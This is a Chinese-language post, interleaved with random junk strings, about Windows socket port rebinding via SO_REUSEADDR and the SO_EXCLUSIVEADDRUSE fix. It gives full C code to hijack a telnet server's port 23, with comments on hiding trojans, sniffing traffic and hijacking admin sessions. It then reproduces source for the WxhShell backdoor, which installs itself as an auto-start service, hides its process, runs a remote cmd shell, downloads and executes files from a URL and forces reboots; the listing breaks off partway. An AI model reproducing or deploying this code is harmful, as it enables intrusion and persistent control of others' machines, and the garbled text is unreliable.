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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CT@ jZtg0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;a!S!%.h Rh2+=N<X saddr.sin_family = AF_INET; OKZV{Gja PNhe saddr.sin_addr.s_addr = htonl(INADDR_ANY); GMx&y2. Z ;>hO+Wo bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `RT>}_j iXkF1r]i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &AMl:@p9 urc|
D0n 这意味着什么?意味着可以进行如下的攻击: Hvauyx5T ^0)g/`H^> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G't$Qx,IC f)rq%N & 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o|^3J{3G S7 2+d%$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YaqR[F k}CVQ@nd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @IKYh{j4 "^[ 'y7i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bP#:Oi0v` NYUL:Tp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 atH*5X6d ~At7 +F[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kn{4;Xk\ _ye |Y #include \\ij(>CI #include P5V}#;v #include 6wRd<]C #include K3&qq[8.e DWORD WINAPI ClientThread(LPVOID lpParam); c):/!Q int main() 539>WyG5 { Es`Px_k WORD wVersionRequested; s)t@ol DWORD ret; M?49TOQA WSADATA wsaData; ;d$rdFA_ BOOL val; q q`4<0 I> SOCKADDR_IN saddr; nPtuTySG SOCKADDR_IN scaddr; bs&43Ae int err; }K>d+6qk5 SOCKET s; \K{
z SOCKET sc; iMh#TUlQEQ int caddsize; 3%|&I:tI HANDLE mt; i"FtcP^ DWORD tid; zk+9'r`-D wVersionRequested = MAKEWORD( 2, 2 ); @bLy,Xr& err = WSAStartup( wVersionRequested, &wsaData ); <=&`ZH if ( err != 0 ) { gg/-k;@ Rf printf("error!WSAStartup failed!\n"); iVr J Q return -1; ^CH=O|8j } 8d{0rqwNE saddr.sin_family = AF_INET; L{\8!51L Hio0HL- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S+6.ZZ9c M0"_^? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y<3-?}.aZ saddr.sin_port = htons(23); e{H=dIa+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V &T~zh1 { MJ)RvNF printf("error!socket failed!\n");
8W7J3{d return -1; I][*j } 1.hyCTnI val = TRUE; Ee#q9Cx^J //SO_REUSEADDR选项就是可以实现端口重绑定的 ?UR0:f:}oc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }v{LRRi { $wa{~' printf("error!setsockopt failed!\n"); E&w7GZNt return -1; nFCC St$ } ^DLfY-F+j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6|=f$a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2[yd> (` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/maJtX' 2tO,dx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rp7mh]kZ { MN>b7O \.? ret=GetLastError(); 9=tIz printf("error!bind failed!\n"); d-ko
^Y0 return -1; G*MUO#_iuh } 7A7?GDW listen(s,2); **CR}
yV while(1) >'$Mp < { Y@iS_lR caddsize = sizeof(scaddr); .Hm>i //接受连接请求 >:!5*E5? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /nsX]V6i if(sc!=INVALID_SOCKET) pki%vRY { r5/0u(\LB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T>Z<]s if(mt==NULL) 0mVNQxHI { |r/"
|` printf("Thread Creat Failed!\n"); V0YZp break; F(n$ } H?Wya.7 } IOH}x4 CloseHandle(mt); kD%( _K5 } }8z?t:|S closesocket(s); ]W!0$'o WSACleanup(); j (d~aqW return 0; Ml5w01O } >=>2m2z= DWORD WINAPI ClientThread(LPVOID lpParam) v?$:@9pAk { :cECRm* SOCKET ss = (SOCKET)lpParam; o|:b;\)b SOCKET sc; "sCRdx]_ unsigned char buf[4096]; +\A,&;!SR SOCKADDR_IN saddr; Qv-_ jZ long num; rlLMT6r.8 DWORD val; C!!M%P DWORD ret; 6 "sSo j //如果是隐藏端口应用的话,可以在此处加一些判断 B9 uoVcW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yyJf%{ saddr.sin_family = AF_INET; ]m<$} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I236RIq saddr.sin_port = htons(23);
(ZizuHC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F>l]
9!P|m { O/Crd/ printf("error!socket failed!\n"); bE. .P&" return -1; j^JPZ{ej? } LRA8p<Rs val = 100; WT=;: j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~!L}yw { 4VSU8tK|N] ret = GetLastError(); Sm|6 %3 return -1; VA5xp] } CCx&7f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hn"RH1Zy { 9A=,E& ret = GetLastError(); 4HlQ&2O%# return -1; M2Qr(K| } (A#^l=su if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VONDc1%ga { CdQ!GS<'y printf("error!socket connect failed!\n"); R 9\*#c closesocket(sc); 3pKQ$\u closesocket(ss); 6_Y,eL]" return -1; Q2gq}c~ } TeM|:o while(1) QWYJ* { lo+A%\1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :F?C)F //如果是嗅探内容的话,可以再此处进行内容分析和记录 4B.*g-L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vs4>T^8e num = recv(ss,buf,4096,0); '=pU^Oz<} if(num>0) y)@wjH{6 send(sc,buf,num,0); K0>zxqY else if(num==0) o+'6`g'8 break; 0l6.<-f{ num = recv(sc,buf,4096,0); bH~dJFj/ if(num>0) &u
!,Hp send(ss,buf,num,0); 02^ rV*re else if(num==0) mzgfFNm^G) break; Zy/_
E@C}u } hgq;`_;1, closesocket(ss); @ 6vIap| closesocket(sc); W<g1<z\f return 0 ; fJg+ Ryo } H:|uw 9'B `]/L |BXg/gW ========================================================== Zh~'9 JH yWSGi#)1 下边附上一个代码,,WXhSHELL h376Be{P <hyKu
========================================================== /{I$ #:M 2,b$7xaf #include "stdafx.h" l/5
hp. [/r(__. #include <stdio.h> ob]w;" #include <string.h> XCQs2CHt #include <windows.h> h*\%vr #include <winsock2.h> Le^ n +5x #include <winsvc.h> 3v-~K)hl? #include <urlmon.h> %cn<ych
G DEgXQ[ #pragma comment (lib, "Ws2_32.lib") AbM'3Mkz #pragma comment (lib, "urlmon.lib") HzsdHH(J ;'1d1\wiDQ #define MAX_USER 100 // 最大客户端连接数 2\$oV #define BUF_SOCK 200 // sock buffer 8ao _i=&x #define KEY_BUFF 255 // 输入 buffer dE3) |% {!`6zBsP #define REBOOT 0 // 重启 EU#^7 #define SHUTDOWN 1 // 关机 |.dRily+ dO\"?aiD #define DEF_PORT 5000 // 监听端口 Lw,h+@0 * 4
n) #define REG_LEN 16 // 注册表键长度 cMIEtK` #define SVC_LEN 80 // NT服务名长度 E{(;@PzE a+QpM*n7Lq // 从dll定义API eO1lnO| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (@YG~0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wd6owr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zuCSj~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =(^3}x
b,@/!ia // wxhshell配置信息 HaYo!.(Fv struct WSCFG { gqR(.Pu int ws_port; // 监听端口 6LhTBV char ws_passstr[REG_LEN]; // 口令 Bw.i}3UT6 int ws_autoins; // 安装标记, 1=yes 0=no Y);=TM6s char ws_regname[REG_LEN]; // 注册表键名 *1"+%Z^ char ws_svcname[REG_LEN]; // 服务名 ^zr`;cJ+c char ws_svcdisp[SVC_LEN]; // 服务显示名 4M T 7 `sr char ws_svcdesc[SVC_LEN]; // 服务描述信息 qP
,EBE char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gGuO int ws_downexe; // 下载执行标记, 1=yes 0=no HOi`$vX}N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !u hT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .)3 <Q}> xD 7]C|8o }; Nboaf u?EN // default Wxhshell configuration {RPI]DcO/ struct WSCFG wscfg={DEF_PORT, EX"yxZ~ "xuhuanlingzhe", Ul# r 1, [>9is=>o. "Wxhshell", IGgL7^MF "Wxhshell", 3c%caK "WxhShell Service", |BYRe1l6l "Wrsky Windows CmdShell Service", QWU-m{@~& "Please Input Your Password: ", 'fW-Y!k% 1, HKe K<V " http://www.wrsky.com/wxhshell.exe", Lj7AZ|k "Wxhshell.exe" bd`P0f? }; d 'ifLQ\ d=^z`nt !R // 消息定义模块 4z)]@:`}z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cb bFw char *msg_ws_prompt="\n\r? for help\n\r#>"; <Z$J<]I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; U!]dEW|G char *msg_ws_ext="\n\rExit."; ZC8wA;!z^ char *msg_ws_end="\n\rQuit."; Zd&S@Z char *msg_ws_boot="\n\rReboot..."; ! P4*+')M char *msg_ws_poff="\n\rShutdown..."; |uDdHX8T char *msg_ws_down="\n\rSave to "; #E]59_
2qp#N% char *msg_ws_err="\n\rErr!"; 6B-16 char *msg_ws_ok="\n\rOK!"; JtZ7ti '>"
4 char ExeFile[MAX_PATH]; V8(- int nUser = 0; kVL.PY\K HANDLE handles[MAX_USER]; >3bCTE int OsIsNt; M=Wz K^[?O{x^B SERVICE_STATUS serviceStatus; 4+ig'
|o SERVICE_STATUS_HANDLE hServiceStatusHandle; 11lsf/IP 2pAW9R#UV- // 函数声明 @PU [:; int Install(void); +|rj4j)L&' int Uninstall(void); #;<Y[hR{P int DownloadFile(char *sURL, SOCKET wsh); hOeRd#AQK int Boot(int flag); 8i pez/ void HideProc(void); svSVG:48 int GetOsVer(void); snJ129}A int Wxhshell(SOCKET wsl); g78^9Y*1 void TalkWithClient(void *cs); m kexc~l int CmdShell(SOCKET sock); W8<%[-r int StartFromService(void); _G0x3 int StartWxhshell(LPSTR lpCmdLine); liSmjsk %3rP`A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |g~ZfnP_% VOID WINAPI NTServiceHandler( DWORD fdwControl ); wS*E(IAl +n)9Tz5 // 数据结构和表定义 A=4OWV? SERVICE_TABLE_ENTRY DispatchTable[] = q*KAk{kR(v { 0aAoV0fMDz {wscfg.ws_svcname, NTServiceMain}, 'Vbi VLWD {NULL, NULL} Xeajxcop# }; W4N{S.#! j@9T.P1 // 自我安装 P%zK;#8V int Install(void) nrb Ok4Dz { +d>IHpt char svExeFile[MAX_PATH]; ]?*wbxU0 HKEY key; 36NpfTW strcpy(svExeFile,ExeFile); VE24ToI?W" c|%6e(g"L // 如果是win9x系统,修改注册表设为自启动 nK,w]{<wG! if(!OsIsNt) { v1[29t<I! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G2Zer=rC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HDLk>_N_s, RegCloseKey(key); ..qCPlK; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2|L&DF:G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xwr8`?]y RegCloseKey(key); uS-|wYE return 0; Z7#+pPt! } 99S^f:t } Y}/-C3) } P%6~&woF else { :
'c&,oLY xmG<]WF>E // 如果是NT以上系统,安装为系统服务 {FGj]* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ""H?gsL[ if (schSCManager!=0) hj:,S| { *Uh!>Iv; SC_HANDLE schService = CreateService RpK@?[4s ( sRW<me; schSCManager, K8~d^G wscfg.ws_svcname, +:f"Y0 wscfg.ws_svcdisp, hc1N~$3!G SERVICE_ALL_ACCESS, `gJ(0#ac SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gq6*SaTk SERVICE_AUTO_START, TJN4k@\$2 SERVICE_ERROR_NORMAL, ?CZd Ol svExeFile, (ZGbhMK NULL, nu^436MSOa NULL, 6mE\OS-I NULL, >Q/Dk7 # NULL, VQs5"K" NULL [e
q&C_|D ); :U\tv[
if (schService!=0) ,bd_: { 5bIw?%dk( CloseServiceHandle(schService); SKtr tm CloseServiceHandle(schSCManager); -} +[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S3#>9k;p strcat(svExeFile,wscfg.ws_svcname); So;<6~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z{6Z
11| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %C0Dw\A*: RegCloseKey(key); B[}6-2<>?C return 0; H.;Q+A,8^ } \!(zrfP{( } ZC?Xqp CloseServiceHandle(schSCManager); n|hNM?v } GB^B r6 } 9$Y=orpWxr fOHxtHM return 1; 5N]"~w* } 9^x> 3Bo UBs4K*h|
// 自我卸载 QnDg6m)+ int Uninstall(void) i@q&5;%% { )_:NLo: HKEY key; =%7-ZH9 _M1 %Z~ if(!OsIsNt) { "&] -2( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -4K5-|>O RegDeleteValue(key,wscfg.ws_regname); $xqa{L%B RegCloseKey(key); 0"R|..l/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~~.}ah/_d RegDeleteValue(key,wscfg.ws_regname); gIfh3 D=yX RegCloseKey(key); uO**E-` return 0; DH=hH&[e(d } FwK]$4* } NHt\
U9l' } rjP/l6
~' else { @CoIaUVP lYIH/:T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `XKLU if (schSCManager!=0) iCoX&"lb { "tZe>>I SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e.%nRhSs3 if (schService!=0) 8|^7ai[am { WxDh;*am: if(DeleteService(schService)!=0) { 0J|3kY-n> CloseServiceHandle(schService); cNrg#Asen& CloseServiceHandle(schSCManager); /QQ*8o8 return 0; )+^+sd } ~Ei<Z`3}7" CloseServiceHandle(schService); + 3gp%`c4 } =wJX0A| CloseServiceHandle(schSCManager); K"6vXv4QO } iscz}E,Y } #Z #-Ht X2_=agEP return 1; }ZI7J } V9vTsmo( Iv *<La // 从指定url下载文件 \['Cj*e k int DownloadFile(char *sURL, SOCKET wsh) B~mj 8l4 { :s,Z<^5a)g HRESULT hr; ~u{uZ(~ char seps[]= "/"; &m3lXl char *token; 0Gk<l{o?^ char *file; dr(*T char myURL[MAX_PATH]; [0of1eCSl char myFILE[MAX_PATH]; v19-./H^
j 4*L_)z&4; strcpy(myURL,sURL); x2EUr,7 token=strtok(myURL,seps); F
[M,]? while(token!=NULL) }k0_5S { siaG'%@*r file=token; EnR}IY&sI token=strtok(NULL,seps); _t$sgz& } 1\Xw3prH
pmM9,6P4@ GetCurrentDirectory(MAX_PATH,myFILE); Z;i:]( strcat(myFILE, "\\"); Dv"9qk strcat(myFILE, file); sK{e*[I>W send(wsh,myFILE,strlen(myFILE),0); 9x8fhAy}4 send(wsh,"...",3,0); 5R-6ji hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b
6p|q_e if(hr==S_OK) 0[`^\Mv4y return 0; Y73C5.dNcE else :h$$J
lP return 1; _w{Qtj~s| !VJoM,b8 } $`c:& 9Na$W:P
c // 系统电源模块 @FeTz[ int Boot(int flag) "[k3kAm { #R"*c
hLV HANDLE hToken; M{@(G5 TOKEN_PRIVILEGES tkp; =(Mch~
-~0^P,yQ if(OsIsNt) { F847pyOJnf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wri<h:1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bsX[UF tkp.PrivilegeCount = 1; pkzaNY/q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
DrR@n~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \<' ?8ri# if(flag==REBOOT) { L#J1b!D&<6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fl(wV.Je| return 0; t!XwW$@ } vt8By@]: else { n[z+<VGwC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vgPCQO([ return 0; sT)CxOV } m@c)Xci } rH-23S else { NOva'qk if(flag==REBOOT) { %Zi} MPx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $I=~S[p return 0; nKY6[|!# } xEI%D|)< else { 0;k# *#w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3n _htgcv return 0; wp_0+$?s } Upe%rC( } u_enqC3 b;n[mk
return 1; J zl6eo[; } ,F|f. 7; p2eGm-Erq // win9x进程隐藏模块 }tz7b# void HideProc(void) [WmM6UEVS { ueudRb G[=c
Ss, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pP_LR
ks} if ( hKernel != NULL ) O-^Ma-} { z_HdISy0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ep8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1#x0 q:6 FreeLibrary(hKernel); Da|z"I
x } mt
.sucT }7Uoh(d return; lN@o2QX } f#;> g .nJz G // 获取操作系统版本 :X=hQ:>P int GetOsVer(void) >7|VR:U?B { Ac@VGT:9 OSVERSIONINFO winfo; *w&e\i|7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;uJMG GetVersionEx(&winfo); 7! Nsm if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) It(_v return 1; #"!<W0 else Nb\4 /;# return 0; h{Y",7]! } N7"W{"3D h`q1 // 客户端句柄模块 s;e\ pt int Wxhshell(SOCKET wsl) 3`g^ { >Tgv11[ SOCKET wsh; ll^#JpT[S struct sockaddr_in client; <I?Zk80 DWORD myID; -RwE%cr 1zv'.uu., while(nUser<MAX_USER) :;}P*T*PU { %J(:ADu] int nSize=sizeof(client); W\3X=@|u) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y<OFsWYY if(wsh==INVALID_SOCKET) return 1; 9*gZ-# jA1+x:Wq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -n
1v3 if(handles[nUser]==0) P:c w|Q closesocket(wsh); M3\AY30L else 79gT+~z nUser++; N8jIMb'< } Cdn J&N{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
TjH][bH5 Y2AJ+
| return 0; [n@]
r2g)3 } u`W2+S SUiOJ[5, // 关闭 socket ftb\0,- void CloseIt(SOCKET wsh) j#|ZP-=1_ { -@'FW*b closesocket(wsh); Lbgi7|& nUser--; .v
K-LHs ExitThread(0); XFl6M~ c } WWY6ha D.:Zx // 客户端请求句柄 ?,z}%p void TalkWithClient(void *cs) $Sq:q0 { ch]IzdD kiEa<-] SOCKET wsh=(SOCKET)cs; {7[Ox<Ho char pwd[SVC_LEN]; Jy)/%p~ char cmd[KEY_BUFF]; O.? JmE char chr[1]; Gc?a +T int i,j; _BufO7`. K(4_a``05 while (nUser < MAX_USER) { 5BIY<B+i U^PgG|0N if(wscfg.ws_passstr) { 00(\ZUj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VY-EmbkG-t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6ujWNf //ZeroMemory(pwd,KEY_BUFF); .-zom~N-? i=0; &oNAv-m^GD while(i<SVC_LEN) { Rq -ZL{LR7 -"x$ZnHU // 设置超时 ]Wup/o fd_set FdRead; 0GwR~Z}Z struct timeval TimeOut; 43cE`9~ FD_ZERO(&FdRead); CIWO7bS FD_SET(wsh,&FdRead); !
nx{
X TimeOut.tv_sec=8; 0GL M(JmK TimeOut.tv_usec=0; Gv&V|7-f0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P \I|, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5P bW[ PCA4k.,T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mFeP9MfJ pwd =chr[0]; I%):1\) if(chr[0]==0xd || chr[0]==0xa) { '/p4O2b, pwd=0; Py<}S-: break; gGYKEq{j( } +`4A$#$+y i++; T{"(\X$ } 4+n\k )X7A // 如果是非法用户,关闭 socket ?dTD\)%A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pH;%ELZ } %b0*H_ok7 Jm@oDME_E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4H/OBR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SbZ6t$" [g,}gyeS( while(1) { \V:^h[ad z?zL9 7H ZeroMemory(cmd,KEY_BUFF); >_}
I.\X ]e3Ax(i) // 自动支持客户端 telnet标准 DG/Pb)%Y
j=0; okXl8&mi while(j<KEY_BUFF) { 9WHddDA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gw(z1L5
n cmd[j]=chr[0]; K3C <{#r if(chr[0]==0xa || chr[0]==0xd) { <@}9Bid!o cmd[j]=0; al0L&z\ break; jIyQ]:* p } Kw}'W
8` c j++; }Jw,>} } reVgqYp{{- PF2nLb2- // 下载文件 G$PE}%X if(strstr(cmd,"http://")) { INf&4!&h send(wsh,msg_ws_down,strlen(msg_ws_down),0); CLSK'+l if(DownloadFile(cmd,wsh)) Xj*Wu_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ3bVi)L\ else E`q_bn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YIE<pX4Q7) } 9uY'E'm* else { Tw%
3p= 0(Ij%Wi, switch(cmd[0]) { $'TM0Yu, 49P4b<1 // 帮助
c> af case '?': { \v{=gK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V~bD)?M break; X]=t> } ;<5q]/IHK // 安装 R]dg_Da case 'i': { ^aQ"E9 if(Install()) g}i61( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_Xlq_[/r else Ru XC(qcq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?"FbsMk.d break; V :eD]zq5 } =43auFY-P // 卸载 !wNO8;( case 'r': { e)ZUO_Q$ if(Uninstall()) AGno6g send(wsh,msg_ws_err,strlen(msg_ws_err),0); D$N/FJ8|G else p<2,=*2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *"kM{*3:v break; $(9U @N9E } !W0v >p // 显示 wxhshell 所在路径 A
>$I
-T+ case 'p': { +"(jjxJm char svExeFile[MAX_PATH]; !BI;C(,RL strcpy(svExeFile,"\n\r"); \9d$@V strcat(svExeFile,ExeFile); u>$t' send(wsh,svExeFile,strlen(svExeFile),0); X8|EHb< break; %SI'BJ } 4YHY7J // 重启 f)!Z~t & case 'b': { Fi1@MG5$2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zL it if(Boot(REBOOT)) 07)yG:q*x send(wsh,msg_ws_err,strlen(msg_ws_err),0); mq[ug> else { BHw, 4#F1; closesocket(wsh); *H122njH+T ExitThread(0); F/Pep?' } _U0f=m break; 1}37Q&2 } >+waX"e // 关机
cAy3^{3: case 'd': { Ie^l~Gb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f5k6`7Vj] if(Boot(SHUTDOWN)) =EIkD9u send(wsh,msg_ws_err,strlen(msg_ws_err),0); $N\Ja*g else { mTh]PPo closesocket(wsh); zJXplvaL;
ExitThread(0); C>~TI,5a3 } /> Nt[o[r break; s(^mZ
-i } R4@6G&2d> // 获取shell {T8Kk)L case 's': { m68*y;# CmdShell(wsh); zVD:#d%b closesocket(wsh); Ug`djIL ExitThread(0); ^&)|sP break; b2]Kx&! } bfO=;S]b! // 退出 `kr?j:g case 'x': { a>)f=uS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w:l"\Tm CloseIt(wsh); <or2 break; W l16`9 } -DCbko // 离开 yBRC*0+Vy case 'q': { {|\.i send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8] ikygt" closesocket(wsh); J=L5=G7( WSACleanup(); ?}7p"3j'z exit(1); -F92 -jBM4 break; 66 Tpi![ } 7?t6UPf } ^J d
r>@ } 875od V$~9]*Wn // 提示信息 3~\[7I/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\Zng!Z ' } tu?MY p; } tjnIN?YT "mNq&$ return; ^t"'rD-I } FN;^"H {e5= &A // shell模块句柄 o14cwb int CmdShell(SOCKET sock) 4 OX^( { _
J[ STARTUPINFO si; # [a*rD%m ZeroMemory(&si,sizeof(si)); .~}1+\~5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'RRE|L, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }75e:w[ PROCESS_INFORMATION ProcessInfo; z] Ue|%K char cmdline[]="cmd"; Ru~j,|0r4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d[35d J7F return 0; _2nx^E(pd } ;$tSb ~K+ Z8oK2Dw // 自身启动模式 ,(4K4pN int StartFromService(void) M[uA@ { \L\b $4$d typedef struct 0RK!/:' { V>
bCKtf& DWORD ExitStatus; 9,tej DWORD PebBaseAddress; *,m; DWORD AffinityMask; @o6L6Y0Naa DWORD BasePriority; T#)P`q ULONG UniqueProcessId; A9JdU& ULONG InheritedFromUniqueProcessId; ]tDDq=+v } PROCESS_BASIC_INFORMATION; f
